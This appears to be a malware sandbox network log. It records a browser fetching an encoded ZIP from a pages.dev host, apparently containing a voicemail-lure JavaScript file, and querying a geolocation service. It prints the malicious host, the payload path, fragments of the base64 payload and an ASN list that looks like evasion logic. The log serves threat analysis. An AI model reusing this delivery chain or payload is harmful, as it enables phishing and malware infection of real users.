                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c59ea7c2a2336-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:44 UTC177INData Raw: 61 62 0d 0a 5b 20 20 20 0a 20 20 20 20 22 41 53 38 30 37 35 22 2c 0a 20 20 20 20 22 41 53 33 39 35 39 35 34 22 2c 0a 20 20 20 20 22 41 53 32 34 39 36 31 22 2c 0a 20 20 20 20 22 41 53 39 30 30 39 22 2c 0a 20 20 20 20 22 41 53 37 32 30 33 22 2c 0a 20 20 20 20 22 41 53 32 30 34 37 33 22 2c 0a 20 20 20 20 22 41 53 33 30 36 33 33 22 2c 0a 20 20 20 20 22 41 53 31 36 35 30 39 22 2c 0a 20 20 20 20 22 41 53 33 39 36 33 36 32 22 2c 0a 20 20 20 20 22 41 53 31 34 36 31 38 22 2c 0a 20 20 20 20 22 41 53 32 30 32 34 30 31 22 0a 5d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: ab[ "AS8075", "AS395954", "AS24961", "AS9009", "AS7203", "AS20473", "AS30633", "AS16509", "AS396362", "AS14618", "AS202401"]
                                                                                                                                                                                      2024-05-10 19:31:44 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      12192.168.2.449764172.66.44.2304434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:47 UTC512OUTGET /voic.txt HTTP/1.1
                                                                                                                                                                                      Host: cviocemusikdanxcehal.pages.dev
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                                                                      sec-ch-ua-mobile: ?0
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      sec-ch-ua-platform: "Windows"
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Origin: null
                                                                                                                                                                                      Sec-Fetch-Site: cross-site
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:47 UTC775INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:47 GMT
                                                                                                                                                                                      Content-Type: text/plain; charset=utf-8
                                                                                                                                                                                      Content-Length: 227784
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                      Cache-Control: public, max-age=0, must-revalidate
                                                                                                                                                                                      ETag: "ac9c7b672827dea8fecb5dcf05f52172"
                                                                                                                                                                                      referrer-policy: strict-origin-when-cross-origin
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Czeafcou4104bFC5ivAEF8siD9sr5fXTffUUDQz5pOVL1Y2LVUICG25xALv%2FwUwaSEUQkqCqwzPPb4f2ehiOOmlOM0r1vtXUgkypacQj2%2F3YNAKYnMZJ%2FVnmeK%2BXoH9LlkwZpkLvsNj6V234fIMzXJU%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c59fdebdcacb1-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:47 UTC594INData Raw: 55 45 73 44 42 42 51 41 41 41 41 49 41 4a 57 4e 71 56 67 53 52 62 4e 6a 6d 4a 6f 43 41 47 47 6a 43 51 41 62 41 41 41 41 54 6d 56 33 49 46 5a 76 61 57 4e 6c 62 57 46 70 62 43 42 4e 59 58 6b 67 4f 53 42 66 62 58 41 30 4c 6d 70 7a 33 46 33 4e 30 75 75 34 6a 64 32 6e 4b 75 2b 51 53 73 31 79 46 68 4a 4a 6b 4e 5a 69 46 72 4a 6c 76 30 53 36 71 6d 76 6d 45 62 4a 49 39 65 50 48 41 73 34 68 49 46 6e 2b 2b 65 37 74 32 33 30 7a 43 35 66 39 79 53 52 46 67 73 44 42 41 55 44 72 2b 2b 74 66 2f 76 57 2f 2f 2f 7a 62 72 2f 2f 31 61 79 36 6e 2f 2f 75 66 66 2f 7a 39 6c 39 2f 4b 2b 4d 74 76 6b 6e 2f 35 4c 5a 2f 75 4c 37 6d 2f 32 76 72 2b 39 2f 2b 2b 66 79 58 70 2f 72 4b 50 36 57 52 76 6b 37 37 56 32 2f 31 31 2f 37 4c 4f 39 39 65 39 54 37 33 33 62 30 57 2f 61 76 72 78 2f 6c 71
                                                                                                                                                                                      Data Ascii: UEsDBBQAAAAIAJWNqVgSRbNjmJoCAGGjCQAbAAAATmV3IFZvaWNlbWFpbCBNYXkgOSBfbXA0Lmpz3F3N0uu4jd2nKu+QSs1yFhJJkNZiFrJlv0S6qmvmEbJI9ePHAs4hIFn++e7t230zC5f9ySRFgsDBAUDr++tf/vW///zbr//1ay6n//uff/z9l9/K+Mtvkn/5LZ/uL7m/2vr+9/++fyXp/rKP6WRvk77V2/11/7LO99e9T733b0W/avrx/lq
                                                                                                                                                                                      2024-05-10 19:31:47 UTC1369INData Raw: 5a 70 56 39 55 49 57 65 66 33 32 5a 5a 75 35 6f 41 74 61 31 6a 75 7a 65 62 63 31 33 50 44 36 32 78 4b 33 51 61 30 78 37 72 53 7a 59 51 70 47 42 4b 79 58 36 56 56 78 6a 44 73 74 65 2b 2b 37 76 53 71 41 54 4e 47 75 65 41 31 72 71 4f 5a 4f 71 65 72 36 57 68 61 58 79 63 7a 68 32 37 4f 42 66 32 62 33 58 4a 74 55 36 37 72 34 75 32 7a 36 76 76 67 59 2b 53 7a 58 59 39 6a 64 50 76 41 64 2b 33 6b 31 39 4b 45 4d 66 63 37 4b 78 68 44 54 4b 48 4c 47 5a 49 71 50 75 38 4d 55 39 56 37 5a 78 75 54 61 79 68 6e 56 30 4f 71 5a 62 72 59 39 31 31 7a 7a 6a 61 2b 33 70 2f 33 79 72 68 2b 43 33 50 4c 32 47 55 59 56 6f 58 31 36 44 79 61 33 5a 76 72 6a 33 50 4a 70 2f 44 64 79 65 63 6e 74 4c 68 71 37 34 54 50 35 2b 75 79 58 57 2f 6f 6d 72 32 4c 69 71 77 45 79 7a 77 46 76 4c 69 59 77
                                                                                                                                                                                      Data Ascii: ZpV9UIWef32ZZu5oAta1juzebc13PD62xK3Qa0x7rSzYQpGBKyX6VVxjDste++7vSqATNGueA1rqOZOqer6WhaXyczh27OBf2b3XJtU67r4u2z6vvgY+SzXY9jdPvAd+3k19KEMfc7KxhDTKHLGZIqPu8MU9V7ZxuTayhnV0OqZbrY911zzja+3p/3yrh+C3PL2GUYVoX16Dya3Zvrj3PJp/DdyecntLhq74TP5+uyXW/omr2LiqwEyzwFvLiYw
                                                                                                                                                                                      2024-05-10 19:31:47 UTC1369INData Raw: 56 35 76 47 51 63 77 7a 30 63 69 73 31 33 79 4d 32 32 2b 2f 4c 2b 38 6b 39 6e 2f 2f 37 30 5a 2f 5a 78 49 75 37 54 62 61 46 61 58 6c 37 35 77 66 58 39 42 4b 46 54 4e 41 35 6f 49 75 73 7a 52 2b 43 77 4b 4d 51 74 55 4f 64 6d 2b 32 34 4e 64 38 4f 79 54 65 58 51 4a 2f 48 70 52 65 53 65 6c 42 41 55 68 50 34 57 46 37 57 42 49 51 31 51 7a 70 41 65 78 63 77 71 38 42 31 4e 32 6d 44 35 54 6a 44 38 47 47 67 4c 6a 46 50 64 5a 67 4b 59 41 54 4b 2b 64 4a 43 56 50 52 4f 4e 48 70 77 67 4c 67 4d 67 53 6b 4d 58 43 35 49 43 61 66 64 6e 2f 5a 5a 73 4e 4e 39 63 53 4f 4b 57 6c 64 34 69 6b 44 34 63 63 2f 4e 31 35 38 76 65 48 2f 6e 46 74 6a 45 58 68 42 75 37 36 74 46 66 30 64 33 37 66 70 71 67 6d 2f 43 49 63 5a 6a 46 39 77 41 43 59 62 72 77 36 57 4e 75 33 2b 63 77 6a 35 50 74 73
                                                                                                                                                                                      Data Ascii: V5vGQcwz0cis13yM22+/L+8k9n//70Z/ZxIu7TbaFaXl75wfX9BKFTNA5oIuszR+CwKMQtUOdm+24Nd8OyTeXQJ/HpReSelBAUhP4WF7WBIQ1QzpAexcwq8B1N2mD5TjD8GGgLjFPdZgKYATK+dJCVPRONHpwgLgMgSkMXC5ICafdn/ZZsNN9cSOKWld4ikD4cc/N158veH/nFtjEXhBu76tFf0d37fpqgm/CIcZjF9wACYbrw6WNu3+cwj5Pts
                                                                                                                                                                                      2024-05-10 19:31:47 UTC1369INData Raw: 65 5a 77 44 4d 4f 37 39 35 48 64 65 4f 37 62 63 7a 73 6d 59 78 6b 41 63 36 63 4d 6a 52 2b 56 42 58 47 34 32 61 31 66 4f 64 72 50 68 66 6a 71 5a 59 66 37 74 36 49 51 61 76 67 2b 65 70 38 6f 57 53 30 4b 6b 31 57 56 57 77 7a 44 72 65 70 2b 6b 31 33 66 70 2f 47 7a 77 4d 74 77 6e 4d 36 43 57 63 61 43 37 66 62 44 48 33 79 2f 73 71 67 70 2f 2f 4e 6b 45 6d 2f 53 6a 59 58 56 4b 58 4c 31 61 63 51 34 48 36 36 2b 75 46 39 52 58 55 53 6d 45 41 68 31 59 61 32 6c 4f 63 32 71 42 65 55 39 68 6a 4d 77 79 54 2b 67 2f 75 75 36 56 73 44 64 4f 69 62 78 30 30 4c 4d 79 70 34 4e 78 34 6a 7a 59 48 71 6f 67 78 53 4d 43 37 54 65 69 58 34 41 78 65 61 45 6a 35 55 6c 43 64 6a 4f 48 62 2b 79 2f 39 69 33 6b 4f 4d 6b 32 74 64 7a 51 62 70 56 68 35 4f 46 58 43 77 6c 69 59 6d 49 7a 68 36 43
                                                                                                                                                                                      Data Ascii: eZwDMO795HdeO7bczsmYxkAc6cMjR+VBXG42a1fOdrPhfjqZYf7t6IQavg+ep8oWS0Kk1WVWwzDrep+k13fp/GzwMtwnM6CWcaC7fbDH3y/sqgp//NkEm/SjYXVKXL1acQ4H66+uF9RXUSmEAh1Ya2lOc2qBeU9hjMwyT+g/uu6VsDdOibx00LMyp4Nx4jzYHqogxSMC7TeiX4AxeaEj5UlCdjOHb+y/9i3kOMk2tdzQbpVh5OFXCwliYmIzh6C
                                                                                                                                                                                      2024-05-10 19:31:47 UTC1369INData Raw: 5a 56 63 73 6b 74 52 6d 6b 74 56 78 38 34 47 50 69 71 44 79 65 5a 64 6b 54 35 75 54 4f 6e 6a 47 56 6d 72 34 78 47 75 66 37 45 30 6c 6a 37 76 35 32 4a 39 75 68 77 78 6c 69 53 62 6c 35 31 69 4d 58 6d 72 45 38 79 32 59 2f 6b 45 51 6a 4c 62 75 4b 6f 66 45 34 6a 4b 43 63 59 36 32 37 5a 78 4c 79 67 76 48 6f 38 6b 45 42 55 38 7a 36 73 31 66 36 36 58 50 73 64 71 74 76 55 78 68 62 44 4b 6f 32 46 2b 39 65 62 72 30 58 73 32 50 45 70 73 78 71 50 46 4a 74 50 45 4e 52 31 59 41 46 6f 56 6a 39 7a 53 38 59 74 56 33 54 50 41 4c 4a 31 78 77 41 45 32 51 31 4b 75 4a 43 2b 37 64 71 35 79 7a 51 52 36 50 41 46 44 78 35 6d 38 66 36 34 32 68 75 72 50 36 4c 38 41 61 77 6d 5a 46 66 35 69 68 45 34 47 63 6d 51 71 6f 53 77 2b 48 33 74 36 48 44 34 6e 6c 42 77 45 73 6d 6b 75 35 33 79 43
                                                                                                                                                                                      Data Ascii: ZVcsktRmktVx84GPiqDyeZdkT5uTOnjGVmr4xGuf7E0lj7v52J9uhwxliSbl51iMXmrE8y2Y/kEQjLbuKofE4jKCcY627ZxLygvHo8kEBU8z6s1f66XPsdqtvUxhbDKo2F+9ebr0Xs2PEpsxqPFJtPENR1YAFoVj9zS8YtV3TPALJ1xwAE2Q1KuJC+7dq5yzQR6PAFDx5m8f642hurP6L8AawmZFf5ihE4GcmQqoSw+H3t6HD4nlBwEsmku53yC
                                                                                                                                                                                      2024-05-10 19:31:47 UTC1369INData Raw: 42 68 6a 42 56 77 66 6c 69 71 59 30 77 46 4c 2b 70 7a 68 31 34 77 44 71 75 4d 51 57 42 76 2b 65 51 32 47 66 63 69 51 2b 38 61 2f 49 43 41 6f 36 68 4d 6b 2f 73 5a 2f 52 36 38 4d 38 45 58 43 66 79 4a 59 42 38 4c 38 45 6f 35 41 6d 52 52 59 65 76 45 4c 70 58 42 78 64 64 44 48 36 44 72 35 4b 2f 4d 4d 64 66 75 73 79 76 73 49 4d 4d 2b 77 63 58 71 7a 5a 38 32 33 52 41 48 35 4a 4e 7a 75 4d 4c 31 54 54 59 32 6e 33 7a 4c 65 62 4f 71 32 2f 43 39 74 6b 50 38 33 2b 41 44 69 55 2f 31 47 6a 67 6a 6b 30 62 46 37 36 2f 63 44 2f 65 75 69 2f 74 2f 39 53 47 49 45 78 67 33 35 75 70 74 4d 76 45 48 65 6c 55 57 48 34 65 2b 4e 2b 65 77 2f 39 65 41 4b 65 68 58 55 79 68 32 67 37 64 54 74 68 6e 37 4c 79 31 67 42 68 4a 55 47 62 69 73 57 41 77 64 6f 4e 39 6a 33 43 53 4d 41 59 48 44 79
                                                                                                                                                                                      Data Ascii: BhjBVwfliqY0wFL+pzh14wDquMQWBv+eQ2GfciQ+8a/ICAo6hMk/sZ/R68M8EXCfyJYB8L8Eo5AmRRYevELpXBxddDH6Dr5K/MMdfusyvsIMM+wcXqzZ823RAH5JNzuML1TTY2n3zLebOq2/C9tkP83+ADiU/1Gjgjk0bF76/cD/eui/t/9SGIExg35uptMvEHelUWH4e+N+ew/9eAKehXUyh2g7dTthn7Ly1gBhJUGbisWAwdoN9j3CSMAYHDy
                                                                                                                                                                                      2024-05-10 19:31:47 UTC1369INData Raw: 4f 6f 65 66 35 47 4c 76 57 6b 4b 64 4e 48 73 2b 7a 49 73 68 38 67 66 70 6b 31 43 6c 7a 69 44 2b 36 66 6a 4d 66 42 78 7a 4d 77 43 53 56 42 2f 61 79 78 78 75 73 79 61 41 65 57 4a 69 44 70 58 2b 5a 6e 62 63 51 4a 2f 71 70 61 75 51 34 4e 64 65 42 6d 4a 65 2b 6b 72 6d 50 76 73 61 54 59 32 51 65 41 31 59 7a 46 33 61 43 54 59 46 33 39 5a 67 50 2f 4b 48 6e 42 52 42 48 79 42 52 79 53 61 6a 4e 4b 4c 63 48 62 76 54 61 55 33 61 2f 53 38 77 72 7a 4f 6d 68 48 71 4c 59 50 37 6c 76 7a 66 42 4c 6a 4f 6b 55 69 31 68 2f 41 66 38 6e 56 32 53 65 54 48 55 45 39 62 56 59 6f 79 67 33 39 2f 6d 36 72 2f 41 2f 42 58 36 5a 2f 46 32 78 67 6a 6e 7a 32 66 31 64 78 33 54 2b 33 34 37 42 5a 53 66 41 42 76 37 72 6f 45 5a 75 46 65 49 6c 35 76 6f 4b 62 4b 51 43 34 79 6c 6e 74 53 33 6d 7a 38
                                                                                                                                                                                      Data Ascii: Ooef5GLvWkKdNHs+zIsh8gfpk1ClziD+6fjMfBxzMwCSVB/ayxxusyaAeWJiDpX+ZnbcQJ/qpauQ4NdeBmJe+krmPvsaTY2QeA1YzF3aCTYF39ZgP/KHnBRBHyBRySajNKLcHbvTaU3a/S8wrzOmhHqLYP7lvzfBLjOkUi1h/Af8nV2SeTHUE9bVYoyg39/m6r/A/BX6Z/F2xgjnz2f1dx3T+347BZSfABv7roEZuFeIl5voKbKQC4ylntS3mz8
                                                                                                                                                                                      2024-05-10 19:31:47 UTC1369INData Raw: 41 2f 6b 38 2b 70 61 65 67 79 55 2b 78 37 69 61 65 59 44 6d 75 74 57 51 57 36 43 50 45 4e 67 65 7a 37 61 77 4c 6b 59 66 79 54 4d 4a 6a 42 38 6b 4f 58 64 6a 4c 55 44 37 41 71 39 37 6e 51 50 32 6c 4d 47 78 47 2f 6b 65 62 49 31 35 53 75 6f 54 7a 31 38 6f 46 36 46 50 43 48 35 48 2b 52 76 6e 74 4d 34 68 78 74 76 4d 4c 66 50 4d 52 77 72 59 77 68 77 37 7a 76 57 70 58 63 49 6e 4d 62 35 52 58 77 76 75 4c 63 42 51 67 65 2f 72 4e 67 59 75 56 4a 6e 4c 51 42 31 5a 73 5a 67 50 33 68 77 39 5a 6d 57 74 6d 35 79 78 58 70 32 50 5a 39 68 4b 42 58 36 54 52 2f 5a 38 57 7a 67 2f 70 6a 61 46 32 4a 35 36 7a 70 77 69 7a 31 32 6f 2f 30 33 4f 77 79 72 72 36 2f 44 4e 6c 58 6f 6b 6a 70 55 4e 48 45 6c 39 46 58 4a 4f 39 65 53 36 30 6d 32 4f 32 41 41 5a 30 4c 34 6f 4e 2b 70 78 67 79 33
                                                                                                                                                                                      Data Ascii: A/k8+paegyU+x7iaeYDmutWQW6CPENgez7awLkYfyTMJjB8kOXdjLUD7Aq97nQP2lMGxG/kebI15SuoTz18oF6FPCH5H+RvntM4hxtvMLfPMRwrYwhw7zvWpXcInMb5RXwvuLcBQge/rNgYuVJnLQB1ZsZgP3hw9ZmWtm5yxXp2PZ9hKBX6TR/Z8Wzg/pjaF2J56zpwiz12o/03Owyrr6/DNlXokjpUNHEl9FXJO9eS60m2O2AAZ0L4oN+pxgy3
                                                                                                                                                                                      2024-05-10 19:31:47 UTC1369INData Raw: 2f 67 4a 76 55 78 69 6c 71 69 50 61 6c 58 34 30 76 58 69 52 4c 30 55 2f 34 4e 35 35 44 45 75 5a 71 6e 64 2f 44 66 69 58 33 6b 52 39 59 6a 42 74 59 6d 56 34 2f 79 33 6c 6f 66 4d 62 34 6e 33 78 4e 76 39 47 62 6f 66 31 76 45 50 78 68 51 58 62 76 30 54 63 46 4c 7a 57 56 36 78 78 48 6b 2f 64 62 2f 7a 76 47 73 69 39 6b 73 31 69 30 57 63 35 58 6d 2b 47 39 62 54 30 36 55 58 47 46 2b 4e 2b 33 64 32 2b 5a 51 39 74 68 68 6d 67 4d 57 53 6e 34 55 6e 74 35 36 4f 56 68 2b 63 79 5a 4c 4c 56 39 4e 7a 33 6a 77 56 49 33 4a 64 65 6c 58 4e 63 65 50 4d 33 72 78 48 38 2f 4b 74 77 6b 43 70 30 7a 79 71 6e 6b 59 4f 79 50 47 51 68 32 50 58 35 2b 61 78 4d 54 65 73 4f 61 30 75 78 2f 65 62 42 32 75 74 64 37 31 49 7a 32 66 75 31 30 66 35 63 4a 49 50 31 57 74 4e 62 63 6f 34 59 38 37 71
                                                                                                                                                                                      Data Ascii: /gJvUxilqiPalX40vXiRL0U/4N55DEuZqnd/DfiX3kR9YjBtYmV4/y3lofMb4n3xNv9Gbof1vEPxhQXbv0TcFLzWV6xxHk/db/zvGsi9ks1i0Wc5Xm+G9bT06UXGF+N+3d2+ZQ9thhmgMWSn4Unt56OVh+cyZLLV9Nz3jwVI3JdelXNcePM3rxH8/KtwkCp0zyqnkYOyPGQh2PX5+axMTesOa0ux/ebB2utd71Iz2fu10f5cJIP1WtNbco4Y87q
                                                                                                                                                                                      2024-05-10 19:31:47 UTC1369INData Raw: 30 78 7a 6b 4e 39 33 65 53 4b 73 33 39 79 53 44 37 6e 35 4d 78 33 41 77 63 79 70 34 73 52 59 6a 33 77 6d 4b 33 6d 55 58 56 50 54 6f 76 52 4c 66 34 62 78 5a 65 74 71 2b 55 74 6e 48 72 79 4f 75 69 54 65 6a 56 58 77 36 45 4c 54 42 7a 48 30 4f 39 4f 37 5a 38 2f 37 37 58 79 4e 4e 2b 42 32 70 50 65 4d 50 64 30 63 58 2f 44 2b 56 4c 4e 72 38 58 79 63 56 34 78 31 37 2f 68 67 4e 6e 62 63 5a 71 6d 68 5a 64 4b 72 69 6e 69 53 30 37 6a 4b 75 78 79 37 68 56 2f 33 72 64 36 58 4f 51 49 38 37 57 7a 63 32 72 62 34 6c 4a 39 31 57 33 4e 41 35 64 5a 69 78 36 46 2f 2b 4c 36 65 4f 59 76 2b 70 4e 2b 50 6e 32 35 78 68 4d 7a 37 37 46 32 71 70 65 41 4d 65 53 50 31 32 72 59 44 46 33 2b 51 69 4d 61 34 69 5a 69 30 4c 55 51 63 79 7a 35 54 75 4c 49 4f 42 59 33 36 45 32 62 31 6f 46 42 48
                                                                                                                                                                                      Data Ascii: 0xzkN93eSKs39ySD7n5Mx3Awcyp4sRYj3wmK3mUXVPTovRLf4bxZetq+UtnHryOuiTejVXw6ELTBzH0O9O7Z8/77XyNN+B2pPeMPd0cX/D+VLNr8XycV4x17/hgNnbcZqmhZdKriniS07jKuxy7hV/3rd6XOQI87Wzc2rb4lJ91W3NA5dZix6F/+L6eOYv+pN+Pn25xhMz77F2qpeAMeSP12rYDF3+QiMa4iZi0LUQcyz5TuLIOBY36E2b1oFBH


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      13192.168.2.449765104.21.25.1484434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:48 UTC493OUTGET / HTTP/1.1
                                                                                                                                                                                      Host: json.geoiplookup.io
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                                                                      sec-ch-ua-mobile: ?0
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      sec-ch-ua-platform: "Windows"
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Origin: null
                                                                                                                                                                                      Sec-Fetch-Site: cross-site
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:48 UTC814INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:48 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      vary: Accept-Encoding
                                                                                                                                                                                      access-control-allow-origin: *
                                                                                                                                                                                      x-ratelimit-limit: 10000
                                                                                                                                                                                      x-ratelimit-remaining: 9998
                                                                                                                                                                                      x-powered-by: Octolus
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1; mode=block
                                                                                                                                                                                      CF-Cache-Status: DYNAMIC
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RRLKjn9y5O32y2L9GnSgE%2FnzxQnNFxmQdSDIajZ%2BH77xvPbjYL5R%2BqnNeqBH0y%2F7nFHzwRMv9s%2FxO7j9375DZa%2B18luTS%2BCSU%2BRkbDs17ybG8BlWjxw8EK%2BtIbRECzR2r7oCHG%2BZ"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5a03bc6f607d-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:48 UTC555INData Raw: 33 31 35 0d 0a 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 69 73 70 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 49 6e 73 74 69 74 75 74 75 6c 20 4e 61 74 69 6f 6e 61 6c 20 64 65 20 43 65 72 63 65 74 61 72 65 2d 44 65 7a 76 6f 6c 74 61 72 65 20 69 6e 20 69 6e 66 6f 72 6d 61 74 69 63 61 20 2d 20 49 43 49 20 42 75 63 75 72 65 73 74 69 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 38 31 2e 31 38 31 2e 36 32 2e 33 34 22 2c 0a 20 20 20 20 22 6c 61 74 69 74 75 64
                                                                                                                                                                                      Data Ascii: 315{ "ip": "81.181.62.34", "isp": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "org": "Institutul National de Cercetare-Dezvoltare in informatica - ICI Bucuresti", "hostname": "81.181.62.34", "latitud
                                                                                                                                                                                      2024-05-10 19:31:48 UTC241INData Raw: 20 20 22 74 69 6d 65 7a 6f 6e 65 5f 6e 61 6d 65 22 3a 20 22 45 75 72 6f 70 65 5c 2f 42 75 63 68 61 72 65 73 74 22 2c 0a 20 20 20 20 22 63 6f 6e 6e 65 63 74 69 6f 6e 5f 74 79 70 65 22 3a 20 22 43 6f 72 70 6f 72 61 74 65 22 2c 0a 20 20 20 20 22 61 73 6e 5f 6e 75 6d 62 65 72 22 3a 20 30 2c 0a 20 20 20 20 22 61 73 6e 5f 6f 72 67 22 3a 20 22 22 2c 0a 20 20 20 20 22 61 73 6e 22 3a 20 22 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 63 6f 64 65 22 3a 20 22 52 4f 4e 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 52 6f 6d 61 6e 69 61 6e 20 4c 65 75 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 70 72 65 6d 69 75 6d 22 3a 20 66 61 6c 73 65 0a 7d 0d 0a
                                                                                                                                                                                      Data Ascii: "timezone_name": "Europe\/Bucharest", "connection_type": "Corporate", "asn_number": 0, "asn_org": "", "asn": "", "currency_code": "RON", "currency_name": "Romanian Leu", "success": true, "premium": false}
                                                                                                                                                                                      2024-05-10 19:31:48 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                      Data Ascii: 0


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      14192.168.2.449766104.21.25.1484434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:49 UTC493OUTGET / HTTP/1.1
                                                                                                                                                                                      Host: json.geoiplookup.io
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                                                                      sec-ch-ua-mobile: ?0
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      sec-ch-ua-platform: "Windows"
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Origin: null
                                                                                                                                                                                      Sec-Fetch-Site: cross-site
                                                                                                                                                                                      Sec-Fetch-Mode: cors
                                                                                                                                                                                      Sec-Fetch-Dest: empty
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:49 UTC808INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:49 GMT
                                                                                                                                                                                      Content-Type: application/json
                                                                                                                                                                                      Transfer-Encoding: chunked
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      vary: Accept-Encoding
                                                                                                                                                                                      access-control-allow-origin: *
                                                                                                                                                                                      x-ratelimit-limit: 10000
                                                                                                                                                                                      x-ratelimit-remaining: 9997
                                                                                                                                                                                      x-powered-by: Octolus
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      x-xss-protection: 1; mode=block
                                                                                                                                                                                      CF-Cache-Status: DYNAMIC
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=22%2BQZTC4hLVUKFV%2BJoG7FyvGWRxffks4rw6m82wh42M9XuP%2BiKT97Ba9NuQg7Wpaxk3Da5AA%2FkR5WW4FEJ9K9kdt%2BphTO%2FUJB7TIa3jYDa2%2FH3Qlgy8o9rSJIcLY0JYMJo9gN9XG"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c5a0b597f6181-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
